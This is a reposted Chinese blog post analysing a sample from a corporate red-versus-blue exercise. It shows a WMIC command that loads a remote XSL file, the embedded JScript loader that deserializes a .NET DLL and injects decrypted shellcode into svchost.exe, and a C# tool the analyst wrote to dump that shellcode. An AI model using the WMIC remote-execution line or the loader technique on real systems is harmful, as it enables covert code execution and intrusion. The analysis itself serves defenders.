文章作者:FFE4 原文地址:
https://blog.csdn.net/cssxn/article/details/88956732
0x01 简述
前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示:
C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
0x02 xsl文件分析
通过分析发现,该xsl中内嵌的远不止JS脚本这么简单!内嵌的js脚本会修改当前进程的shell环境为.net的环境,然后通过解密base64硬编码的PE文件,该文件是由C#编写的DLL文件。
然后以.NET的shell环境来调用.net的函数,并把硬编码的dll文件字节码反序列化成C#类对象,调用该类对象中的名为:call的函数,通过js调用.net函数,参考:
https://github.com/tyranid/DotNetToJScript
修改Shell环境为.NET:
function autoversion()
{
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
调用.net类对象的call函数,可以看到call函数传入一个系统进程名字,svchost.exe,另一个是base64硬编码的一段加密的code
run函数:
function run()
{
var serialized_obj = 'base64硬编码的C# DLL文件';
var cryptedcode = 'Base64加密的shellcode';
var entry_class = 'test';
try
{
autoversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(fmt.SurrogateSelector);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.call('svchost.exe', cryptedcode);
}
catch (e)
{
}
return 0;
}
serialized_obj变量中保存的是base64硬编码的dll文件,首先通过Chrome浏览器自带的调试器,还原出完整的base64加密字符串,点击右下角的copy。
然后使用010Editor自带的base64decode脚本解密该密文
解密base64后,切换个hex模式,往下拉动滚动条,可以看到文件的MZ头,删除前面的垃圾内容,保留从MZ头到末尾即可还原出DLL文件
可以看到是.net2.0库写的dll
0x03 C# DLL文件分析
call(svchost,base64密文),Call方法中调用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬编码的DES KEY:***ATeam 解密shellcode
最后调用CodeLoader.CreateProcessWithCode(path, code); 通过分析CreateProcessWithCode函数,发现是通过创建傀儡进程的方式注入shellcode并运行的,了解更多,请参考
https://www.4hou.com/technology/8869.html
0x04 shellcode分析
通过上面的分析,可以写一个C#程序,把注入到进程中的shellcode dump出来
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace test
{
class Program
{
static string key = "xxx";
static string cryptedcode = "base64->des加密的shellcode";
public static byte[] Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = Convert.FromBase64String(pToDecrypt);
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
return memoryStream.ToArray();
}
static void Main(string[] args)
{
byte[] code = Decrypt(cryptedcode, key);
string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
if (File.Exists(filePath))
File.Delete(filePath);
FileStream fs = new FileStream(filePath, FileMode.Create);
fs.Write(code, 0, code.Length);
fs.Flush();
fs.Close();
int n = 123;
}
}
}
分析shellcode后,发现是个loader程序,对应的C2地址,由于这边IP访问限制,访问不了总部那边的网络
侵权请私聊公众号删文